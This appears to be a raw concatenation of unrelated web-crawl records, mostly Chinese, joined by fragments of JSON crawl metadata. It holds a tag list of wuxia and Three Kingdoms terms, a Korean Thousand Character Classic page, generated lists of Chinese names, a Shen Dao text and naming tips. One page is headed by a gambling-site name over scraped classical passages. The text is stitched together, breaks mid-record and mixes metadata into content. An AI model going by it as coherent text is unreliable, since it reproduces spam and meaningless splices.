鐵蒺藜骨朵 崑崙派 石田三成 夷陵之戰 康熙 古墓派 魔心連環 周瑜 燕子雙飛 四大名捕 曹丕篡漢 曹爽專權 桃花仙 葵花寶典 九陽神功 無想奼女大法 傻姑 雙尖軟矛 太史慈 星际浪子 乾隆 誰來跟我乾杯 雙兒 劍客行 飛龍五式 興勢之戰 武當掌法 逆水寒 法顯 嫁衣神功 馬謖 梅花鉤 黃天大法 紅花會 花間十二支 暴雨梨花釘 胡斐 白世鏡 連體心法 毛玠 小龍女 鴛鴦刀 殷離 橫煉罡 呂玲綺 姜維 鳩摩智 黑白子 劍玄錄 左手刀法 關平 伏虎神拳 荀攸 九韶定音劍 魅影劍法 明玉功 王重陽 大開碑手 鄧芝 楚留香傳奇 蒼穹神劍 燎原百擊 紫微軟劍 阿朱 阿青 郭馬之亂 袖裡乾坤 黃祖 陸抗 仙門劍訣 周泰 古龍作品 漢中之戰 伏魔劍法 五毒教 斷絕神功 閔柔 諸葛亮北伐 鳥渡術 陳近南 馬超 陸無雙 定世鞭 倉亭之戰 武當派 黃蓉 尋秦記 丹心術 張角 郭嘉 狂沙刀法 姜維北伐 九陰真經 起風了 甄姬 左冷禪 火併蕭十一郎 穆念慈 七种武器 東方不敗 一指頭禪 曹操迎天子 掩月劍法 燕子三抄水 衛青 司馬師 夢姑 御盡萬法根源智經 華山論劍 李典 枯榮大師 韓當 神蛛凌空銀絲渡虛 曹睿 儀琳 典韋 獨孤九劍 黃藥師 曹操攻徐州之戰 移花接玉 林平之 嫁衣神功 建寧公主 護花鈴 關銀屏 兵器譜 關興 彩環曲 石清 豔陽刃法 荀彧 天魔大法 尹克西 無相神功 掃地僧 賈詡 奇功絕藝榜 天一掌 蔣濟 袁紫衣 趙半山 鍾會之亂 玉女媚術 星宿派 雌雄雙股劍 司馬昭 益州之戰 華陀針 田伯光 下邳之戰 日月神教 尉遲敬德 華山派 白萬劍 官渡之戰 神州奇俠 恆山派 丈八蛇矛 鰲拜 趙雲 奪命十三劍 方怡 日月麗天大法 魅變術 南皮之戰 白自在 馮錫范 甘寧 奪命簪 白馬嘯西風 索額圖 太清元功 陽頂天 尼摩星 打狗棒法 胡昭 林遠圖 挾刀揉手 廖化 諸葛瞻 白玉老虎 日月當空 九轉還童 空明拳 子貴母死 流星蝴蝶劍 回轉斧法三十式 大武俠時代 三十六招鳥啄擊法 楊康 五帝鐧 張召重 塌上策 內家橫練 合肥之戰 逍遙訣 臥龍 魏滅蜀之戰 孫皓暴政 迷蹤七變 丹青生 梅花鉤 井中八法 程普 游坦之 滿寵 淑女劍 魏延 李秋水 七流星 亡神十八掌 于禁 左慈 龍吟曲 飛燕七式 常伯志 狼牙 鐵脊蛇矛 龍門鏢局 曹洪 周伯通 袁承志 九字真言手印 楊修 大手印 鬼火十三拍 徐天宏 賈南風 封天閉地 合淝新城之戰 沖虛道長 七十二路分筋錯骨手 白阿繡 木婉清 金庸 失魂引 絕不低頭 徐庶 神龍教 飛天狐狸 俠客行 練師 摩尼教 鍾會 蔣琬 石破天 桃幹仙 八賢王 多情劍客無情劍 羅漢伏虎拳 韋小寶 夏姬 謝遜 鎖子縮骨功 穿雲劍法 丞相 張翼 天龍八部 霍去病 楚留香新傳之新月傳奇 儀琳 梵我如一 馬皇后 小昭 枯禪玄功 無想十法 桃實仙 寧中則 金錢幫 仇國論 成昆 變天擊地大法 玄鐵劍法 南匈奴 王異 裘千仞 丁不三 鍾繇 刀劍雙殺七七四十九式 太極七截棍 雙手互搏 英雄無淚 水笙 長河正氣 十住大乘功 吳三桂 遊俠錄 徐榮 魔佛十式 神君別傳 沐劍屏 紫霞神功 費禕 戰神圖錄 天涯明月刀 鄭丰 怒劍狂花 衡山派 太虛勁 種玉大法 降龍伏虎羅漢拳 祝融 冷月寶刀 朱子柳 魯肅 大旗英雄傳 涼州軍劫天子 逍遙派 雲行雨飄 諸葛誕 桃谷六仙 赤壁之戰 謝煙客 捨身大法 慈航劍典 魅影身法 趙志敬 驚魂六記 曹叡 菊花的刺 任我行 金針開穴之法 永安之戰 太虛錯手 韋春花 飛狐外傳 折花百式 蘇荃 星彩 二宮之爭 天心蓮環 九轉無相神功 嵩山派 阿珂 武林外史 丞相,起風了 龐統 史火龍 段正淳 鮑三娘 吸星大法 呂壹專權 博望坡之戰 張郃 月英 裘千尺 長平公主 蔣幹 布衣神相 荊州 曹操討伐袁術之戰 慕容復 不碎金剛 銀雕 天外流星 周芷若 全真七子 霍都 趙敏 心佛掌 天外飛仙 血鸚鵡 鍾靈 飛鷹十三刺 王語嫣 奕劍術 合淝之戰 七殺拳 莫大先生 呂布 倚天劍 披風杖法 公孫止 黃忠 徐晃 男人見不得 夏青青 雙修大法 越女劍 玉女素心劍法 郭芙 禿筆翁 大圓滿杖法 曹真 換日大法 洪七公 碎金剛乘 道心種魔大法 辟邪劍法 洪承疇 天魔心法 金蛇劍 銅錘 碧海潮生曲 定逸師太 江南七怪 金剛門 關羽 雷霆刀法 于萬亭 呂蒙 炎陽奇功 天鷹教 流雲飛袖 鄧艾 不死印法 段正明 軟蝟甲 龜息功 萬物波動心法 青城派 劍氣書香 覆雨翻雲 大唐雙龍傳 尉遲恭 岳不羣 蒼穹十三式 瑛姑 金丹大法 虛竹 飄香劍雨 織女劍法 達摩手 急風十三刺 王平 界橋之戰 霍青桐 無塵道長 梅超風 彈指神通 摘心手 菩提心功 高平陵之變 方天畫戟 武三通 情人箭 大人物 馬大元 凝真九變 建安文學 迎風一刀斬 楊逍 陳宮 蔡文姬 天地明環 青龍會 鬼王鞭 歡樂英雄 交阯之亂 紫血大法 陳家洛 湘妃劍 化骨綿掌 東興之戰 蝶雙飛 黑鬼爪 達爾巴 泰山派 降龍十八掌 潼關之戰 譙周 伏養氣功 孫皓 武夷派 魏滅蜀之戰 不死七幻 碧血洗銀槍 蕭十一郎 壽春馳援 孫曉 破精自絕大法 名劍風流 殭屍拳 戚芳 上官鼎 如意八打 幽灵山庄 連城訣 余滄海 桃花島 楊過 不戒和尚 華山派 殘金缺玉 三少爺的劍 令狐沖 張苞 文鴦 姑蘇慕容 林朝英 劉備稱帝 先天氣功 藏密智能書 諸葛亮南征 石亭之戰 貂蟬 天魅凝陰 孟獲 石亭之戰 歐陽克 沙影二十八劍 聖火令 程英 貝海石 歐陽鋒 海神 童子功十三太保橫練 炎元真氣 齊桓公 石雙英 飛鶯飛鷹 黯然銷魂掌 大拍手 夏侯淵 慕容博 張三丰 魏晉玄學 孫堅 十二都天神功 青松劍譜 文泰來 鐵騎快劍 一扇十八搖 全真教 絕情谷 楊儀 五虎斷門刀 鷹變十三式 地煞拳 郭淮 董卓 壽春三叛 桃根仙 張無忌 五嶽劍派 奼女心法 天山童姥 張春華 張大春 孤星傳 完顏洪烈 阿九 衛春華 化石神功 法正 張三李四 月異星邪 六脈神劍 五毒神功 楊頂天 邊荒傳說 的盧 韋小寶 金絲綿掌 楚留香新傳之借屍還魂 鬼魅潛蹤 蛤蟆功 七星龍王 余魚同 滿地開花八十—式 飛龍大九式 七傷拳 龐德 梁羽生 龍木島主 玄慈 靈犀一指 段譽 柳絮劍法 清風十三式 勞德諾 吳起 絕代雙驕 丁春秋 鳳天南 桃葉仙 荊楚爭雄記 刑遁術 滿天花雨 孫策平江東之戰 蒼穹十三劍 海大富 武當七俠 喬鋒 散手八撲 吳六奇 玉女劍法 阿紫 諸葛亮 汪劍通 鴛鴦腿 歸魂十八爪 崆峒派 血戰十式 明珠 霓裳仙舞 倪匡 凌波微步 黃鍾公 易京之戰 董允 烏金血劍 曾柔 玄氣大法 九難 破碎虚空 無崖子 牛郎一百零八棍 瀟湘子 飛伏一百零八槍 周倉 臥龍生 絕代雙驕角色列表 一串鞭 九月鷹飛 曹純 黃皓 九陽真經 楚留香新傳 蕭遠山 彭長老 郭襄 流星鎚 黃皓專權 孫權 曹丕 曹操 幻魔身法 曹丕伐吳 挾天子 劉表 圓月彎刀 東洋神風刀法 神刀斬","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2018-12-18T19:16:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829568.86\/warc\/CC-MAIN-20181218184418-20181218210418-00618.warc.gz","language":"lzh","language_score":0.5900555849,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900555849075317, \"nan_Hani_score\": 0.252697229385376, \"cmn_Hani_score\": 0.12174931913614273, \"yue_Hani_score\": 0.03296069800853729}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- 천자문 외우기 : 천자문은 한자 4개씩 250묶음으로 이루어진 만큼 어떤 구절의 위치를 그 번호로 기억하면 암송하기가 좋습니다.\n- 천자문 쪽수 : 숫자가 아닌 천자문으로 된 천자문 페이지를 다룰 때 각 글자를 번호로 바꾸면 편리합니다. 옛날 선비는 책(족보 등 고서)의 종이 번호를 천자문으로 매기기도 했습니다.\n- 천자문 자랑하기 : 그냥 천자문을 외우는 것도 대단하지만, \"777번 구절은 유곤독운游鶤獨運\"이라고 번호 순서까지 외우면 사람들이 깜짝 놀라겠죠?\n天地玄黃 宇宙洪荒 日月盈昃 辰宿列張 寒來暑往 秋收冬藏 閏餘成歲 律呂調陽 雲騰致雨 露結爲霜 金生麗水 玉出昆岡 劒號巨闕 珠稱夜光 果珍李柰 菜重芥薑 海醎河淡 鱗潛羽翔 龍師火帝 鳥官人皇 始制文字 乃服衣裳 推位讓國 有虞陶唐 吊民伐罪 周發殷湯 坐朝問道 垂拱平章 愛育黎首 臣伏戎羌 遐邇壹體 率賓歸王 鳴鳳在樹 白駒食場 化被草木 賴及萬方 蓋此身發 四大五常 恭惟鞠養 豈敢毀傷 女慕貞潔 男效才良 知過必改 得能莫忘 罔談彼短 靡恃己長 信使可覆 器欲難量 墨悲絲染 詩讃羔羊 景行維賢 剋念作聖 德建名立 形端表正 空谷傳聲 虛堂習聽 禍因惡積 福緣善慶 尺璧非寶 寸陰是競 資父事君 曰嚴與敬 孝當竭力 忠則盡命 臨深履薄 夙興溫凊 似蘭斯馨 如松之盛 川流不息 淵澄取映 容止若思 言辭安定 篤初誠美 慎終宜令 榮業所基 籍甚無竟 學優登仕 攝職從政 存以甘棠 去而益詠 樂殊貴賤 禮別尊卑 上和下睦 夫唱婦隨 外受傅訓 入奉母儀 諸姑伯叔 猶子比兒 孔懷兄弟 同氣連枝 交友投分 切磨箴規 仁慈隱惻 造次弗離 節義廉退 顛沛匪虧 性靜情逸 心動神疲 守真志滿 逐物意移 堅持雅操 好爵自縻 都邑華夏 東西二京 背邙面洛 浮渭據涇 宮殿盤鬱 樓觀飛驚 圖寫禽獸 畫綵仙靈 丙舍傍啓 甲帳對楹 肆筵設席 鼓瑟吹笙 升階納陛 弁轉疑星 右通廣內 左達承明 既集墳典 亦聚群英 杜槀鍾隸 漆書壁經 府羅將相 路俠槐卿 戶封八縣 家給千兵 高冠陪輦 驅轂振纓 世祿侈富 車駕肥輕 策功茂實 勒碑刻銘 磻溪伊尹 佐時阿衡 奄宅曲阜 微旦孰營 桓公匡合 濟弱扶傾 綺回漢惠 說感武丁 俊乂密勿 多士寔寧 晉楚更霸 趙魏困橫 假途滅虢 踐土會盟 何遵約法 韓弊煩刑 起翦頗牧 用軍最精 宣威沙漠 馳譽丹青 九州禹跡 百郡秦并 嶽宗恒岱 禪主雲亭 雁門紫塞 雞田赤城 昆池碣石 巨野洞庭 曠遠綿邈 巖岫杳冥 治本於農 務資稼穡 俶載南畝 我藝黍稷 稅熟貢新 勸賞黜陟 孟軻敦素 史魚秉直 庶幾中庸 勞謙謹勑 聆音察理 鑑貌辨色 貽厥嘉猷 勉其祗植 省躬譏誡 寵增抗極 殆辱近恥 林睾幸即 兩疏見機 解組誰逼 索居閑處 沉默寂寥 求古尋論 散慮逍遙 欣奏累遣 慼謝歡招 渠荷的歷 園莽抽條 枇杷晚翠 梧桐早彫 陳根委翳 落葉飄颻 逰鵾獨運 凌摩絳霄 耽讀翫市 寓目囊箱 易輶攸畏 屬耳垣墻 具膳飡飯 適口充腸 飽飫烹宰 飢厭糟糠 親戚故舊 老少異糧 妾御績紡 侍巾帷房 紈扇圓潔 銀燭煒煌 晝眠夕寐 藍筍象床 絃歌酒讌 接杯舉觴 矯手頓足 悅豫且康 嫡後嗣續 祭祀蒸嘗 稽顙再拜 悚懼恐惶 箋牒簡要 顧答審詳 骸垢想浴 執熱願凉 驢騾犢特 駭躍超驤 誅斬賊盜 捕獲叛亡 布射遼丸 嵇琴阮嘯 恬筆倫紙 鈞巧任釣 釋紛利俗 並皆佳妙 毛施淑姿 工嚬妍笑 年矢每催 羲暉朗曜 璇璣懸斡 晦魄環照 指薪脩祐 永綏吉邵 矩步引領 俯仰廊廟 束帶矜莊 徘佪瞻眺 孤陋寡聞 愚蒙等誚 謂語助者 焉哉乎也한자(한석봉 글씨)로 보기\n한자(컴퓨터 글씨)로 보기\n한글로 보기","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/1000.uny.kr\/?q=690&h=1","date":"2018-12-11T11:18:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823618.14\/warc\/CC-MAIN-20181211104429-20181211125929-00180.warc.gz","language":"lzh","language_score":0.6073426604,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.6073426604270935, \"cmn_Hani_score\": 0.30725982785224915, \"yue_Hani_score\": 0.026661628857254982, \"jpn_Jpan_score\": 0.02407052367925644, \"kor_Hang_score\": 0.013757817447185516, \"nan_Hani_score\": 0.012597299180924892}","num_words":314,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.617,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王芮加个字王珏郝 王悠郝 王亭千晶津林俐曼其寒\n王珏郝 王悠郝 王亭郝 王千郝 王晶郝 王津郝 王林郝 王俐郝 王曼郝 王其郝 王寒郝 王汝郝 王妤郝 王和郝 王琴郝 王彦郝 王斯郝 王淑郝 王颖郝 王会郝 王莎郝 王培郝 王玮郝 王弋郝 王佩郝 王清郝 王可郝 王艳郝 王斐郝 王瑞郝 王秋郝 王丹郝 王又郝 王玥郝 王诗郝 王阳郝 王添郝 王美郝 王轶郝 王微郝 王紫郝 王华郝 王启郝 王乐郝 王云郝 王楠郝 王若郝 王士郝 王思郝 王熙郝 王琬郝 王德郝 王芳郝 王永郝 王露郝 王成郝 王淇郝 王育郝 王以郝 王汇郝 王筠郝 王爽郝 王波郝 王治郝 王胜郝 王冬郝 王博郝 王玫郝 王爱郝 王英郝 王珈郝 王智郝 王懿郝 王梓郝 王昭郝 王函郝 王安郝 王然郝 王涛郝 王红郝 王孜郝 王宁郝 王茜郝 王双郝 王修郝 王贞郝 王茹郝 王语郝 王棠郝 王荣郝 王浩郝 王水郝 王玺郝 王健郝 王娅郝 王长郝 王彩郝 王蓓郝 王冰郝 王毓郝 王霞郝 王春郝 王肖郝 王琼郝 王芮郝 王沅郝 王溪郝 王果郝 王碧郝 王有郝 王忻郝 王筑郝 王雅郝 王灿郝 王瑷郝 王瑶郝 王君郝 王璐郝 王菁!","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.54hulan.com\/loo888guanfangwangzhan\/359.html","date":"2019-02-16T17:23:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480905.29\/warc\/CC-MAIN-20190216170210-20190216192210-00226.warc.gz","language":"lzh","language_score":0.9922549129,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.992254912853241}","num_words":122,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n季国梅 季燕昌 季燕杰 季静霞 季嫣丽 季妍丽 季燕丽 季本美 季凌霞 季红丽 季心瑶 季馨瑶 季恒琳 季紫琳 季戎婷 季青梅 季芬芬 季夕琳 季远芳 季小莉 季群英 季建丽 季妍汝 季丹婵 季莱琳 季琳林 季佩琳 季魁玉 季纪英 季检英 季蓉芬 季守娟 季琴芬 季一倩 季一茹 季碧茹 季莺英 季肖英 季筱英 季笑英 季旭英 季中美 季桂娟 季会娟 季必燕 季益梅 季巍莹 季梦茹 季毓婷 季曼雪 季送美 季芮莹 季芳玲 季美娜 季仙霞 季慧萍 季霞霞 季远霞 季燕雄 季燕熙 季燕成 季燕呈 季承红 季承芳 季承梅 季承悦 季祥英 季瑞颖 季晨艳 季程妍 季王悦 季恣茹 季姿悦 季欢悦 季玲燕 季顺颖 季顺莹 季顺艳 季悦阳 季亚玲 季婉玲 季宣茹 季庆萍 季倩青 季慧蓉 季秋婷 季婷凤 季良婷 季洪洁 季雪洁 季嫣琼 季素娥 季致萍 季志萍 季治萍 季婕娜 季裕妍 季昌冉 季钰艳 季钰霞 季陈燕 季倩芸 季金燕 季玮琼 季守英 季钰芳 季郴婷 季婧琳 季汪婧 季王婧 季艳霞 季冬雪 季静玉 季莎琳 季富玲 季筱妍 季明英 季秀颖 季秀瑛 季宸萍 季琳潇 季月婷 季峻茹 季俊妍 季昌英 季莹汝 季希娅 季柔怡 季铃琳 季振玲 季财莉 季容怡 季容琳 季瑞琳 季睿琳 季孟梅 季婧潇 季运芬 季兴玉 季季红 季冰梅 季言文 季朵丽 季惠琴 季中媛 季晨丽 季雯冉 季洧冉 季浩冉 季振琼 季燕民 季燕敏 季治梅 季新玲 季宜燕 季秋洁 季盛婷 季宇洁 季俞洁 季妤洁 季琳琅 季琳岚 季柳嫣 季柳妍 季莹旖 季严洁 季洁妍 季妍洁 季译洁 季怿洁 季毅洁 季忆洁 季逸洁 季宜洁 季亦洁 季义洁 季艺洁 季月美 季君燕 季丛芳 季轩莹 季莉红 季若悦 季珈蓉 季伽蓉 季杨蓉 季牡蓉 季慕蓉 季牧蓉 季雨娜 季雨琳 季玉琳 季瑶环 季纥婧 季轩怡 季森玉 季梅梅 季周琳 季云红 季文艳 季钰琴 季钰琼 季钰萍 季瑜婷 季飞燕 季永红 季琳尹 季舒文 季湘悦 季灵美 季愉婷 季嵛婷 季与婷 季裕婷 季郁婷 季云娟 季志妍 季妍霈 季妍霖 季怡倩 季雅倩 季文娥 季月萍 季倩鸿 季珂文 季坷文 季柯文 季志文 季智文 季莉萍 季宇婷 季锦花 季花 季润妍 季坤妍 季希妍 季坤颖 季禾洁 季妍润 季文燕 季秀儒 季悦洋 季罗洁 季朗颖 季兰雪 季香雪 季婷玉 季俊玲 季美玉 季春莉 季琳铮 季卫玲 季潇雪 季雨红 季耔嫣 季梓嫣 季娅馨 季秀玲 季琳昕 季圣洁 季悦如 季雅琼 季珂玉 季娅璇 季颖怡 季壹玲 季立萍 季可颖 季嫣紫 季子秀 季梓悦 季莘娟 季琪瑶 季伟梅 季锦玲 季晓颖 季轩冉 季紫悦 季子悦 季鑫悦 季怡红 季让悦 季悄颖 季洲妍 季栩冉 季哲冉 季献芬 季寿琴 季子冉 季佳萍 季雪怡 季雨倩 季妍倩 季敏瑶 季朗玉 季青霞 季树娥 季鑫梅 季慧丽 季惠丽","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/bbb681.cn\/show_143.aspx","date":"2019-09-21T01:05:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574159.19\/warc\/CC-MAIN-20190921001810-20190921023810-00470.warc.gz","language":"lzh","language_score":0.9717538953,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.9717538952827454, \"nan_Hani_score\": 0.018120450899004936}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"恒运娱乐手机版北京城市副中心将可行使调配保障性住房等17项权力\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n馀善已杀郢,威行於国,国民多属,窃自立为王。繇王不能矫其众持正。天子闻之,为馀善不足复兴师,曰:\"馀善数与郢谋乱,而後首诛郢,师得不劳。\"因立馀善为东越王,与繇王并处。\n大馀四十四,小馀七百三十六;大馀五十一,无小馀;\n子路曰:\"君子尚勇乎?\"子曰:\"君子义以为上。君子有勇而无义为乱,小人有勇而无义为盗。\"\n燕昭王不行。苏代复重於燕。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/7607m.zxsou.net\/ryfwy\/","date":"2020-05-25T14:35:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347388758.12\/warc\/CC-MAIN-20200525130036-20200525160036-00091.warc.gz","language":"lzh","language_score":0.4981644154,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49816441535949707, \"cmn_Hani_score\": 0.3742557764053345, \"nan_Hani_score\": 0.033046506345272064, \"wuu_Hani_score\": 0.01666204072535038, \"zxx_Latn_score\": 0.012433426454663277, \"yue_Hani_score\": 0.01191441249102354}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.482,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周慎到撰金山錢熙祚錫之校\n威德天有明。不憂人之暗也。地有財。不憂人之貧也。聖人有德。不憂人之危也。天雖不憂人之暗。闢戶牖必取己明焉。則天無事也。地雖不憂人之貧。伐木刈草必取己富焉。則地無事也。聖人雖不憂人之危。百姓準上而比於下。其必取己安焉。則聖人無事也。故聖人處上。能無害人。不能使人無己害也。則百姓除其害矣。聖人之有天下也。受之也。非取之也。百姓之於聖人也。養之也。非使聖人養己也。則聖人無事矣。毛嬙。西施。天下之至姣也。衣之以皮倛。則見者皆走。易之以元緆。則行者皆止。由是觀之。則元緆色之助也。姣者辭之。則色厭矣。走背跋●窮谷野走十里。藥也。走背辭藥則足廢。故騰蛇遊霧。飛龍乘雲。雲罷霧霽。與蚯蚓同。則失其所乘也。故賢而屈於不肖者。權輕也。不肖而服於賢者。位尊也。堯為匹夫。不能使其鄰家。至南面而王。則令行禁止。由此觀之。賢不足以服不肖。而勢位足以屈賢矣。故無名而斷者。權重也。弩弱而矰高者。乘於風也。身不肖而令行者。得助於眾也。故舉重越高者。不慢於藥。愛赤子者。不慢於保。絕險歷遠者。不慢於御。此得助則成。釋助則廢矣。夫三王五伯之德。參於天地。通於鬼神。周於生物者。其得助博也。古者。工不兼事。士不兼官。工不兼事則事省。事省則易勝。士不兼官則職寡。職寡則易守。故士位可世。工事可常。百工之子。不學而能者。非生巧也。言有常事也。今也國無常道。官無常法。是以國家日繆。教雖成。官不足。官不足則道理匱。道理匱則慕賢智。慕賢智則國家之政要。在一人之心矣。古者。立天子而貴之者。非以利一人也。曰。天下無一貴。則理無由通。通理以為天下也。故立天子以為天下。非立天下以為天子也。立國君以為國。非立國以為君也。立官長以為官。非立官以為長也。法雖不善。猶愈於無法。所以一人心也。夫投鉤以分財。投策以分馬。非鉤策為均也。使得美者。不知所以德。使得惡者。不知所以怨。此所以塞願望也。故蓍龜。所以立公識也。權衡。所以立公正也。書契。所以立公信也。度量。所以立公審也。法制禮籍。所以立公義也。凡立公。所以棄私也。明君動事分功必由慧。定賞分財必由法。行德制中必由禮。故欲不得干時。愛不得犯法。貴不得踰親。祿不得踰位。士不得兼官。工不得兼事。以能受事。以事受利。若是者。上無羨賞。下無羨財。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/m.guoxuedashi.com\/a\/516iizz\/14116k.html","date":"2020-09-29T11:16:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401641638.83\/warc\/CC-MAIN-20200929091913-20200929121913-00416.warc.gz","language":"lzh","language_score":0.5069438219,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5069438219070435, \"cmn_Hani_score\": 0.1284935474395752, \"nan_Hani_score\": 0.08124373108148575, \"und_Yiii_score\": 0.023556893691420555, \"zxx_Latn_score\": 0.022585073485970497, \"und_Tang_score\": 0.022556519135832787, \"jpn_Jpan_score\": 0.020404916256666183, \"und_Sgnw_score\": 0.01661522313952446, \"und_Kits_score\": 0.016465935856103897, \"und_Xsux_score\": 0.012973936274647713, \"und_Grek_score\": 0.01164781954139471}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚一般在第2个字上会比较好听,当然不强迫.女生最好起个比较文静的名字,\"楚\"这个字也是个不错的选择.楚静、楚雯、楚汐、楚涵……\n楚丹 楚丽 楚云 楚仪 楚伊 楚佳 楚依 楚俞 楚倩 楚兰 楚冰 楚凝 楚嘉 楚妃楚妍 楚妮 楚娟 楚娥 楚娴 楚婉 楚婕 楚婷 楚媛 楚宜 楚容 楚彤 楚怡 楚惠 楚慧 楚晴 楚曼 楚月 楚柔 楚梅 楚楠 楚欣 楚洁 楚滢 楚澜 楚煜 楚燕 楚玉楚玟 楚 楚玲 楚珂 楚珊 楚珠 楚琪 楚琳 楚瑜 瑶楚 盈楚 秀楚 红楚 芬楚 芸楚 楚茜 楚茵 楚莹 楚菡 楚菲 楚萍 楚萱 楚蓉 楚蔓 楚钰 楚雅 楚雪 楚雯 楚 霖 楚霞 楚静 楚韵 楚颖 楚颜 楚馨更多信息请登录中华取名网详细了解\n楚 儿:唐代人,字润娘,辨慧能诗.曾为妓,后从良,嫁于 捕盗官郭锻,并不幸福. 楚 衍:开封胙城(今河南省延津)人,宋朝 .少通四声字母.尤得《九章》、《缉古》、《缀术》诸算经之妙.明相法及《聿斯经》,善阴阳、星历之数.\n张云、、帆 名字取自千古名句:长风破浪会有时,直挂云帆济沧海 \\ 帆棹常喻胸怀瑾瑜利器,大志凌云;帆棹不失,济海方可.人生一世,如荡舟江湖,浪激波涌,帆棹不堕,沧海以济.欲成事者须具\"帆棹\",帆者,达理想彼岸之工具也,\n楚韵,楚诗瑶\n熊楚婷.寓意永远停留在女孩娇美玉立、动人怜爱字意上.女人小也,姓氏熊、楚为博大才华,太压女子,所以用婷收住,吉也!!!\n楚乐\n楚晓颖楚子媛楚琬怡楚琳月楚美丽楚琳娟楚蓉宁楚弈婷楚燕美楚玉蓉楚沛霞楚召英楚至美楚芸丽楚度雪楚幸妹楚悦涵楚娅惠楚燕南楚书琴楚继红楚为丽楚皓雪楚嘉霞楚荔娅楚媛棋楚孟英楚婧萱楚小冉楚怡坤楚欣蓉楚悦萍楚秀绯楚芮瑶楚忻洁楚新\n楚楚---《御赐小仵作》人人都说,作为一个姑娘,汉子和案子不可兼得!楚楚偏不信!王爷缺人查案子,楚楚缺人当汉子.王爷不嫌楚楚天真懵懂脾气倔,楚楚不嫌王爷体弱多病规矩多.楚楚双眼一亮,嫁给执掌刑狱的王爷不就什么都有啦!\n楚楚伊人 挺适合女孩子的,希望我的答案能被你采纳!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.90858.net\/tPiz_tfWtcTFrrqiw_vX1g.html","date":"2020-09-20T08:24:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400196999.30\/warc\/CC-MAIN-20200920062737-20200920092737-00426.warc.gz","language":"lzh","language_score":0.5382020473,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5382020473480225, \"cmn_Hani_score\": 0.29269084334373474, \"wuu_Hani_score\": 0.10378322005271912, \"nan_Hani_score\": 0.03244314715266228, \"jpn_Jpan_score\": 0.027417073026299477}","num_words":93,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.551,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n鼂錯論貴粟疏鼂音潮 